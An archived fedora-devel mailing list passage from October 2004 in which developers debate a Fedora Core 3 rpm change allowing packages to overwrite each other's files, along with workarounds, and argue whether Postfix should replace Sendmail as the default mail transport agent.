<1099167136.3309.35.camel@localhost.localdomain> (from feliciano.matias@free.fr on Sat Oct 30 13:12:16 2004) References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099166539.4462.29.camel@proton.cygnusx-1.org> <1099167136.3309.35.camel@localhost.localdomain> Message-ID: <1099169909l.4007l.4l@devel.mpeters.us> On 10/30/2004 01:12:16 PM, Matias F?liciano wrote: > > The new behaviour is a bug. > I absolutely 100% agree. If a third party wants their software to work with red hat/fedora then the third party needs to make their software integrates with red hat/ fedora and not the other way around. Supplying compatability libraries is imho fine. But creating a scenario where your operating is more likely to have a problem because a vendor doesn't have the will to build their src.rpm on the system they intend the package to be installed (thus using the modern rpm) on is just absolutely bonkers and is the WRONG thing for red hat/fedora to do. Laziness should not be encouraged. If a third party vendor is having difficulty getting their rpm to build on current fedora/red hat then the 3rd party vendor needs to fix their spec file. From mpeters at mac.com Sat Oct 30 21:01:14 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 30 Oct 2004 21:01:14 +0000 Subject: FC3 rpm behavior change In-Reply-To: <1099166030.4462.25.camel@proton.cygnusx-1.org> (from fedora-devel-list@cygnusx-1.org on Sat Oct 30 12:53:50 2004) References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099166030.4462.25.camel@proton.cygnusx-1.org> Message-ID: <1099170074l.4007l.5l@devel.mpeters.us> On 10/30/2004 12:53:50 PM, Nathan G. Grennan wrote: > On Sat, 2004-10-30 at 12:22 -0700, Nathan G. Grennan wrote: > > alias rpm='rpm --fileconflicts' in /etc/zshrc. > > Because rpm is a weird combination of multiple commands with a > wrapper > adding --fileconflicts with an alias doesn't work in all cases. Then we need to file a bug report that rpm does not have a reliable way to turn this behaviour off. From aoliva at redhat.com Sat Oct 30 21:10:15 2004 From: aoliva at redhat.com (Alexandre Oliva) Date: 30 Oct 2004 18:10:15 -0300 Subject: FC3 rpm behavior change In-Reply-To: <1099164768.4462.10.camel@proton.cygnusx-1.org> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> <1099164768.4462.10.camel@proton.cygnusx-1.org> Message-ID: On Oct 30, 2004, "Nathan G. Grennan" wrote: >> Personally, I don't like the change either. That said, I don't think >> the change was made after the freeze. I think it was only documented >> after the freeze, just because that's the time when people get >> together to figure out what should have been in the test release notes >> all along but wasn't. If anything, kudos for documenting such a big >> and controversial change so openly. I hope it's eventually reverted, >> but, meanwhile, people at least know what to add to their rpmrc files >> to get the old behavior back. > Where is the rpmrc changes necessary documented? I don't see it in > http://testing.fedora.redhat.com/tree/i386/os/RELEASE-NOTES-en.html They aren't. I thought --replacefiles was mentioned in there (which wasn't exactly the same as saying `add this to your .rpmrc', but close enough), but checking back, I see it isn't. Would you please file a bug report against fedora-release about it? -- Alexandre Oliva http://www.ic.unicamp.br/~oliva/ Red Hat Compiler Engineer aoliva@{redhat.com, gcc.gnu.org} Free Software Evangelist oliva@{lsd.ic.unicamp.br, gnu.org} From Nicolas.Mailhot at laPoste.net Sat Oct 30 21:14:45 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sat, 30 Oct 2004 23:14:45 +0200 Subject: Mail gui config In-Reply-To: <1099166022.5996.17.camel@scania> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> Message-ID: <1099170885.10268.9.camel@rousalka.dyndns.org> Le samedi 30 octobre 2004 ? 12:53 -0700, Per Bjornsson a ?crit : > On Sat, 2004-10-30 at 04:52, Nicolas Mailhot wrote: > > Le samedi 30 octobre 2004 ? 13:59 +0300, Mircea MITU a ?crit : > > > To exclude Sendmail, it would be stupid, but making Postfix the default > > > MTA it would be a smart move. > > > > Unfortunately at this point if would not only be a smart move but a long > > overdue one. I hope it's not one of those cases where Novell/Suse did it > > first so RH won't even contemplate it. > > Gee, having fun with the conspiracy theories? ;) If this was the case, > why would Red Hat package Postfix at all? Likely it's just that there > isn't really any consensus on this, Tss gcc 2.96, apache 2, xinetd... RH is usually not so timid dumping yesterday's everyone-uses-it tech (in fact users have been more known to complain about RH fondness for new stuff that "breaks" Linux as-they-know-it than the reverse) I'm stiff ROTFL remembering the last time the MTA question was raised and the argument was sendmail sucks, postfix and exim are better, but since we can't agree if we like postfix or exim best, sendmail stays the default. (this being said if I didn't thought RH makes more good decisions than bad ones, I wouldn't be on this list) Regards, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From shiva at sewingwitch.com Sat Oct 30 21:14:50 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Sat, 30 Oct 2004 14:14:50 -0700 Subject: lslR in the download tree In-Reply-To: <1099141248.3484.7.camel@localhost.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> <1099139827.3484.2.camel@localhost.localdomain> <1099140302.4788.97.camel@athlon.localdomain> <1099141248.3484.7.camel@localhost.localdomain> Message-ID: <2F87B287240346C39EE75D71@[10.0.0.4]> --On Saturday, October 30, 2004 3:00 PM +0200 MatiasF?liciano wrote: > Or use "yum search|info". Does that report which of many repositories a package can be found in, and what versions are available? Presumably one needs a special config file that lists the optional repositories, since my default one includes only the stable release code. From shiva at sewingwitch.com Sat Oct 30 21:17:54 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Sat, 30 Oct 2004 14:17:54 -0700 Subject: mail gui In-Reply-To: <1099164000l.4007l.3l@devel.mpeters.us> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> Message-ID: <36B00DD6E63F1CE01230854D@[10.0.0.4]> --On Saturday, October 30, 2004 7:20 PM +0000 "Michael A. Peters" wrote: > postfix should be the default mta in a chroot jail. > It satisfies the needs of the vast majority of users - and I think has a > cleaner codebase and is easier to config then sendmail. In the default case, what's to config? It's only in the non-default case that things get interesting. A unified configuration utility is only a problem if the choices offer different and conflicting features. Otherwise you just write a common front end and MTA-specific back ends to edit the files. So first come up with a front end design that enumerates all the features you want to control. From feliciano.matias at free.fr Sat Oct 30 21:20:30 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 23:20:30 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099169909l.4007l.4l@devel.mpeters.us> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099166539.4462.29.camel@proton.cygnusx-1.org> <1099167136.3309.35.camel@localhost.localdomain> <1099169909l.4007l.4l@devel.mpeters.us> Message-ID: <1099171230.3542.16.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 20:58 +0000, Michael A. Peters a ?crit : > On 10/30/2004 01:12:16 PM, Matias F?liciano wrote: > > > > > The new behaviour is a bug. > > > > I absolutely 100% agree. > If a third party wants their software to work with red hat/fedora then > the third party needs to make their software integrates with red hat/ > fedora and not the other way around. > FC2 and 4KSTACK is interesting. Fedora (or Linux) break the compatibility with NVidia driver and this annoyed many people. At the end, this decision (4KSTACK) improve Linux and "free" Linux. Fedora and Linux should not depend on third party. > Supplying compatability libraries is imho fine. > But creating a scenario where your operating is more likely to have a > problem because a vendor doesn't have the will to build their src.rpm > on the system they intend the package to be installed (thus using the > modern rpm) on is just absolutely bonkers and is the WRONG thing for > red hat/fedora to do. red hat (RHEL) is a supported product dedicated to Enterprise. It have to work "out of the box". So, I don't know if it's the wrong thing to do for RHEL. > > Laziness should not be encouraged. > If a third party vendor is having difficulty getting their rpm to build > on current fedora/red hat then the 3rd party vendor needs to fix their > spec file. > Or rpm may add a warning : Ooops : conflict file detected. Contact the maintainer of the package. Conflict files can be ignored with "--replacefiles". -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From seyman at wanadoo.fr Sat Oct 30 21:35:53 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Sat, 30 Oct 2004 23:35:53 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099170074l.4007l.5l@devel.mpeters.us> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> <1099166030.4462.25.camel@proton.cygnusx-1.org> <1099170074l.4007l.5l@devel.mpeters.us> Message-ID: <20041030213553.GA17216@orient.maison.moi> On Sat, Oct 30, 2004 at 09:01:14PM +0000, Michael A. Peters wrote: > > Then we need to file a bug report that rpm does not have a reliable way > to turn this behaviour off. mv /usr/bin/rpm /usr/bin/rpm.foobar echo "rpm --fileconflicts $@" > /usr/bin/rpm chmod +x /usr/bin/rpm Doesn't do squat for the API, though. I'm with the majority, here. Revert. Emmanuel From feliciano.matias at free.fr Sat Oct 30 21:45:27 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 23:45:27 +0200 Subject: FC3 rpm behavior change In-Reply-To: <20041030215624.3a89278e.fedora@wir-sind-cool.org> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> <20041030215624.3a89278e.fedora@wir-sind-cool.org> Message-ID: <1099172727.3542.18.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 21:56 +0200, Michael Schwendt a ?crit : > On 30 Oct 2004 16:25:57 -0300, Alexandre Oliva wrote: > > > > And honestly, changing RPM's behaviour in such a way after Test3 is a > > > very questionable decision. > > > > Personally, I don't like the change either. That said, I don't think > > the change was made after the freeze. I think it was only documented > > after the freeze, > > Seems so. rpm-4.3.2-2 from Test 2 overwrites files happily already, > resulting in duplicate installs when "-ivh" is used. > > # rpm -i test-1.0-2.i386.rpm > # rpm -i test-1.0-3.i386.rpm > # rpm -q test > test-1.0-2 > test-1.0-3 > # rpm -V test > S.5....T /bin/bash32 > S.5....T /bin/ls32 > Yum don't seem to be affected. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora at wir-sind-cool.org Sat Oct 30 22:08:32 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 31 Oct 2004 00:08:32 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099169909l.4007l.4l@devel.mpeters.us> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099166539.4462.29.camel@proton.cygnusx-1.org> <1099167136.3309.35.camel@localhost.localdomain> <1099169909l.4007l.4l@devel.mpeters.us> Message-ID: <20041031000832.735a90e5.fedora@wir-sind-cool.org> On Sat, 30 Oct 2004 20:58:29 +0000, Michael A. Peters wrote: > On 10/30/2004 01:12:16 PM, Matias F?liciano wrote: > > > > > The new behaviour is a bug. > > > > I absolutely 100% agree. > If a third party wants their software to work with red hat/fedora then > the third party needs to make their software integrates with red hat/ > fedora and not the other way around. Ack. Those 3rd parties can ask their users to --replacefiles install their packages and explain why they find it necessary to overwrite existing files. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.60 1.59 1.79 From mmitu at bitdefender.com Sat Oct 30 22:50:01 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Sun, 31 Oct 2004 01:50:01 +0300 Subject: Mail gui config In-Reply-To: <1099170885.10268.9.camel@rousalka.dyndns.org> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> Message-ID: <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> On Sat, 2004-10-30 at 23:14 +0200, Nicolas Mailhot wrote: > Le samedi 30 octobre 2004 ? 12:53 -0700, Per Bjornsson a ?crit : > > On Sat, 2004-10-30 at 04:52, Nicolas Mailhot wrote: > > > Le samedi 30 octobre 2004 ? 13:59 +0300, Mircea MITU a ?crit : > > > > To exclude Sendmail, it would be stupid, but making Postfix the default > > > > MTA it would be a smart move. > > > > > > Unfortunately at this point if would not only be a smart move but a long > > > overdue one. I hope it's not one of those cases where Novell/Suse did it > > > first so RH won't even contemplate it. > > > > Gee, having fun with the conspiracy theories? ;) If this was the case, > > why would Red Hat package Postfix at all? Likely it's just that there > > isn't really any consensus on this, > > Tss gcc 2.96, apache 2, xinetd... > RH is usually not so timid dumping yesterday's everyone-uses-it tech (in > fact users have been more known to complain about RH fondness for new > stuff that "breaks" Linux as-they-know-it than the reverse) > > I'm stiff ROTFL remembering the last time the MTA question was raised > and the argument was sendmail sucks, postfix and exim are better, but > since we can't agree if we like postfix or exim best, sendmail stays the > default. > You're right, those are silly reasons. But I, for one, I see two major reasons to make this switch, from sendmail to postfix as the MTA of choice: 1. SANS Top Vulnerabilities, U5. Mail Transport Service http://www.sans.org/top20/#u5 2. The very first thing done by the almost all the people I know after a RH/Fedora install, is rpm -e sendmail I really wonder how many subscribers are still using Sendmail. -- This message was scanned for spam and viruses by BitDefender. For more information please visit http://linux.bitdefender.com/ From tdiehl at rogueind.com Sat Oct 30 23:01:09 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Sat, 30 Oct 2004 19:01:09 -0400 (EDT) Subject: Mail gui config In-Reply-To: <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> Message-ID: On Sun, 31 Oct 2004, Mircea MITU wrote: > You're right, those are silly reasons. But I, for one, I see two major > reasons to make this switch, from sendmail to postfix as the MTA of > choice: > > 1. SANS Top Vulnerabilities, U5. Mail Transport Service > http://www.sans.org/top20/#u5 > > 2. The very first thing done by the almost all the people I know after a > RH/Fedora install, is rpm -e sendmail > > I really wonder how many subscribers are still using Sendmail. It does not matter how many subscribers on this list are still using Sendmail. I too am one of the people who does -sendmail +postfix in my kickstart configs but remember Red Hat has to support RHEL and I will be the majority of RHEL customers migrating from things like slowaris expect sendmail. A lot of these people are old farts that have been around for a hundred years and do not like to change things they are comfortable with. Like it or not we are most likely stuck with sendmail forever. Tom From mmitu at bitdefender.com Sat Oct 30 23:26:47 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Sun, 31 Oct 2004 02:26:47 +0300 Subject: Mail gui config In-Reply-To: References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> Message-ID: <1099178807.12420.21.camel@fuckinalive.unsubscribe.ro> On Sat, 2004-10-30 at 19:01 -0400, Tom Diehl wrote: > On Sun, 31 Oct 2004, Mircea MITU wrote: > > > You're right, those are silly reasons. But I, for one, I see two major > > reasons to make this switch, from sendmail to postfix as the MTA of > > choice: > > > > 1. SANS Top Vulnerabilities, U5. Mail Transport Service > > http://www.sans.org/top20/#u5 > > > > 2. The very first thing done by the almost all the people I know after a > > RH/Fedora install, is rpm -e sendmail > > > > I really wonder how many subscribers are still using Sendmail. > > It does not matter how many subscribers on this list are still using Sendmail. > I too am one of the people who does -sendmail +postfix in my kickstart configs > but remember Red Hat has to support RHEL and I will be the majority of RHEL > customers migrating from things like slowaris expect sendmail. A lot of these > people are old farts that have been around for a hundred years and do not > like to change things they are comfortable with. Like it or not we are most > likely stuck with sendmail forever. > No offense meant, but let's cut the crap. I did bring some RHEL customers to RH by migrating them from NT/2k and I had no complains from the old farts about Exchange missing. Companies do not migrate from Solaris to RHEL due to 0-changes in the default install. The business pressure to minimize costs, conformance to some standards and audits and/or overall performance are the relevant factors for platform migrations or non-migrations. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: BitDefender.txt URL: From alan at redhat.com Sat Oct 30 23:29:50 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 30 Oct 2004 19:29:50 -0400 Subject: Mail gui config In-Reply-To: References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> Message-ID: <20041030232950.GA30946@devserv.devel.redhat.com> On Sat, Oct 30, 2004 at 07:01:09PM -0400, Tom Diehl wrote: > > RH/Fedora install, is rpm -e sendmail > > > > I really wonder how many subscribers are still using Sendmail. > > It does not matter how many subscribers on this list are still using Sendmail. You'll notice that we turn network connections to the mail system off by default but the mail system is needed for internal deliveries of things like logs. From alexander.dalloz at uni-bielefeld.de Sat Oct 30 23:55:54 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Sun, 31 Oct 2004 01:55:54 +0200 Subject: Mail gui config In-Reply-To: <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> Message-ID: <1099180554.18072.878.camel@serendipity.dogma.lan> Am So, den 31.10.2004 schrieb Mircea MITU um 0:50: > 1. SANS Top Vulnerabilities, U5. Mail Transport Service > http://www.sans.org/top20/#u5 May stand as an argument. > 2. The very first thing done by the almost all the people I know after a > RH/Fedora install, is rpm -e sendmail This is no argument. I know a lot of Sendmail users. Though it seems some kind of sport to bash on Sendmail it is still one of the most favourite MTAs, and it has it's good legitimation. > I really wonder how many subscribers are still using Sendmail. Me for instance, and I won't switch :) Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 01:42:18 up 10 days, 22:21, load average: 0.37, 1.06, 1.52 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From mmitu at bitdefender.com Sun Oct 31 00:07:33 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Sun, 31 Oct 2004 03:07:33 +0300 Subject: Mail gui config In-Reply-To: <20041030232950.GA30946@devserv.devel.redhat.com> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <1099176601.12420.8.camel@fuckinalive.unsubscribe.ro> <20041030232950.GA30946@devserv.devel.redhat.com> Message-ID: <1099181253.12420.38.camel@fuckinalive.unsubscribe.ro> On Sat, 2004-10-30 at 19:29 -0400, Alan Cox wrote: > On Sat, Oct 30, 2004 at 07:01:09PM -0400, Tom Diehl wrote: > > > RH/Fedora install, is rpm -e sendmail > > > > > > I really wonder how many subscribers are still using Sendmail. > > > > It does not matter how many subscribers on this list are still using Sendmail. > > You'll notice that we turn network connections to the mail system off by default > but the mail system is needed for internal deliveries of things like logs. > It does not matter since the first documented sendmail issue is "how to open" it. Reading this issue may be cataloged as RTFM and people who install the system by default and leave it as-is, they never rtfm. RTFM lovers already know how to bind sendmail on external interfaces and how to install/select sendmail as default MTA, if they want to. I'd rather opt for a very restrictive postfix aiming to protect newbies and to secure deployments by default than for a somehow constrained sendmail just to please the statistics. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: BitDefender.txt URL: From mpeters at mac.com Sun Oct 31 01:07:32 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 31 Oct 2004 01:07:32 +0000 Subject: mail gui In-Reply-To: <36B00DD6E63F1CE01230854D@[10.0.0.4]> (from shiva@sewingwitch.com on Sat Oct 30 14:17:54 2004) References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> Message-ID: <1099184852l.13490l.0l@devel.mpeters.us> On 10/30/2004 02:17:54 PM, Kenneth Porter wrote: > --On Saturday, October 30, 2004 7:20 PM +0000 "Michael A. Peters" > wrote: > >> postfix should be the default mta in a chroot jail. >> It satisfies the needs of the vast majority of users - and I think >> has a >> cleaner codebase and is easier to config then sendmail. > > In the default case, what's to config? > Even in the default case postfix is better. You can run it more securely in a chroot jail than you can sendmail, and it's security record isn't nearly as blemished as sendmail. And for cases where you do need to change default configuration, for the vast majority of them postfix is both easier to configure and more secure. But Fedora won't change to postfix because of management people of the kind you see in Dilbert who insist upon sendmail in RHEL and if they aren't going to switch to postfix in RHEL then they won't switch to postfix in Fedora. The Fedora merger I had hoped would shoot for desktop market - but instead it shoots for a testing platform for RHEL. This is probably also why they royally screwed up the benefits of rpm by now WITHOUT WARNING allowing files from one rpm to replace files of another. I hate this kind of smurf. It is the wrong thing to do. Oh well. /rant From pri.rhl3 at iadonisi.to Sun Oct 31 01:28:42 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sat, 30 Oct 2004 21:28:42 -0400 Subject: mail gui In-Reply-To: <1099184852l.13490l.0l@devel.mpeters.us> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> <1099184852l.13490l.0l@devel.mpeters.us> Message-ID: <1099186122.19755.34.camel@va.local.linuxlobbyist.org> On Sat, 2004-10-30 at 21:07, Michael A. Peters wrote: [snip] > Even in the default case postfix is better. You can run it more > securely in a chroot jail than you can sendmail, and it's security > record isn't nearly as blemished as sendmail. That blemished past is pretty far in the past. The number of security holes per year has dramatically decreased in recent years. Note that it used to be measured in holes/week, but take a look at www.sendmail.org and you'll see that the last hole was over a year ago. So it's a matter of preference, really. But I'm hoping this doesn't turn into an all-out 'my-MTA-is-better-than-yours' religious war. Please let's endeavor to not let that happen. But in the default case, your argument doesn't hold much water. I don't know if it's possible to run sendmail in a chroot jail, but given that it only listens to localhost by default, it's not that big a deal. Those who enable it to listen on the public interface should know what they are doing, and that goes for *any* deamon listening on a public interface. > And for cases where you do need to change default configuration, for > the vast majority of them postfix is both easier to configure and more > secure. Easier is a relative term. Depends on what you are used to. Certainly, its easier for the average joe, agreed. > But Fedora won't change to postfix because of management people of the > kind you see in Dilbert who insist upon sendmail in RHEL and if they > aren't going to switch to postfix in RHEL then they won't switch to > postfix in Fedora. Man, oh, man. When we will people stop with these silly conspiracy theories? Find me one PHB who even knows what sendmail and postfix *are*. > The Fedora merger I had hoped would shoot for desktop market - but > instead it shoots for a testing platform for RHEL. Well, you're entitled to hope, but Fedora was *never* targeted at the desktop market. Or any *market*, so to speak: Purpose: Server/Desktop/Workstation User: Enterprise/Home/Hobbyist-Enthusiast-Developer The above two classifications are orthogonal. Combine any one from the first list with any one from the second list. Fedora is aimed at the Hobbyist-Enthusiast-Developer. That does not preclude Server, Desktop, or Workstation, but your mileage may vary. It's pretty much implied in the stated goals of Fedora that it is where new things get tried out before being included in RHEL. Red Hat tries not break things horribly. And I've think it's done a pretty good job. Except, see below. > This is probably > also why they royally screwed up the benefits of rpm by now WITHOUT > WARNING allowing files from one rpm to replace files of another. Though I don't think it is why it's screwed up the benefits of rpm, I do agree that the recent fileconflicts handling (or non-handling) is a major boo-boo, and hope that the change is backed out before release of FC3. It's bad, real bad. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From NOS at Utel.no Sun Oct 31 09:08:48 2004 From: NOS at Utel.no (=?UTF-8?B?Ik5pbHMgTy4gU2Vsw6VzZGFsIg==?=) Date: Sun, 31 Oct 2004 10:08:48 +0100 Subject: Mail gui config In-Reply-To: <000101c4bed4$587fa100$14aaa8c0@utelsystems.local> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> <1099166022.5996.17.camel@scania> <1099170885.10268.9.camel@rousalka.dyndns.org> <000101c4bed4$587fa100$14aaa8c0@utelsystems.local> Message-ID: <4184ABA0.2050003@Utel.no> Mircea MITU wrote: > >> > > > You're right, those are silly reasons. But I, for one, I see two major > reasons to make this switch, from sendmail to postfix as the MTA of > choice: > > 1. SANS Top Vulnerabilities, U5. Mail Transport Service > http://www.sans.org/top20/#u5 > > 2. The very first thing done by the almost all the people I know after a > RH/Fedora install, is rpm -e sendmail > > I really wonder how many subscribers are still using Sendmail. For the record, I do. I see no reason I should switch to something else. -- Nils O. Sel?sdal www.utelsystems.com From Nicolas.Mailhot at laPoste.net Sun Oct 31 09:19:08 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sun, 31 Oct 2004 10:19:08 +0100 Subject: FC3 rpm behavior change In-Reply-To: <1099171230.3542.16.camel@localhost.localdomain> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099166539.4462.29.camel@proton.cygnusx-1.org> <1099167136.3309.35.camel@localhost.localdomain> <1099169909l.4007l.4l@devel.mpeters.us> <1099171230.3542.16.camel@localhost.localdomain> Message-ID: <1099214348.24214.3.camel@rousalka.dyndns.org> Le samedi 30 octobre 2004 ? 23:20 +0200, Matias F?liciano a ?crit : > Le samedi 30 octobre 2004 ? 20:58 +0000, Michael A. Peters a ?crit : > > Supplying compatability libraries is imho fine. > > But creating a scenario where your operating is more likely to have a > > problem because a vendor doesn't have the will to build their src.rpm > > on the system they intend the package to be installed (thus using the > > modern rpm) on is just absolutely bonkers and is the WRONG thing for > > red hat/fedora to do. > > red hat (RHEL) is a supported product dedicated to Enterprise. It have > to work "out of the box". So, I don't know if it's the wrong thing to do > for RHEL. Given the quality of some of the "enterprise" third-party rpms out there you certainly do not want to lighten install-time checks. They're already doing unholy ops that may hose your system, when this change reaches RHEL I predict a whole world of broken installs RH support will have to rescue. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From Nicolas.Mailhot at laPoste.net Sun Oct 31 09:23:33 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sun, 31 Oct 2004 10:23:33 +0100 Subject: mail gui In-Reply-To: <1099186122.19755.34.camel@va.local.linuxlobbyist.org> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> <1099164000l.4007l.3l@devel.mpeters.us> <36B00DD6E63F1CE01230854D@[10.0.0.4]> <1099184852l.13490l.0l@devel.mpeters.us> <1099186122.19755.34.camel@va.local.linuxlobbyist.org> Message-ID: <1099214614.24214.6.camel@rousalka.dyndns.org> Le samedi 30 octobre 2004 ? 21:28 -0400, Paul Iadonisi a ?crit : > On Sat, 2004-10-30 at 21:07, Michael A. Peters wrote: > > [snip] > > > Even in the default case postfix is better. You can run it more > > securely in a chroot jail than you can sendmail, and it's security > > record isn't nearly as blemished as sendmail. > > That blemished past is pretty far in the past. The number of security > holes per year has dramatically decreased in recent years. Note that it > used to be measured in holes/week, but take a look at www.sendmail.org > and you'll see that the last hole was over a year ago. So it's a matter > of preference, really. But I'm hoping this doesn't turn into an all-out > 'my-MTA-is-better-than-yours' religious war. Please let's endeavor to > not let that happen. Even if the sendmail codebase finaly reached the quality of its competitors that's no reason to inflict sendmail conf files on users. Regards, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: 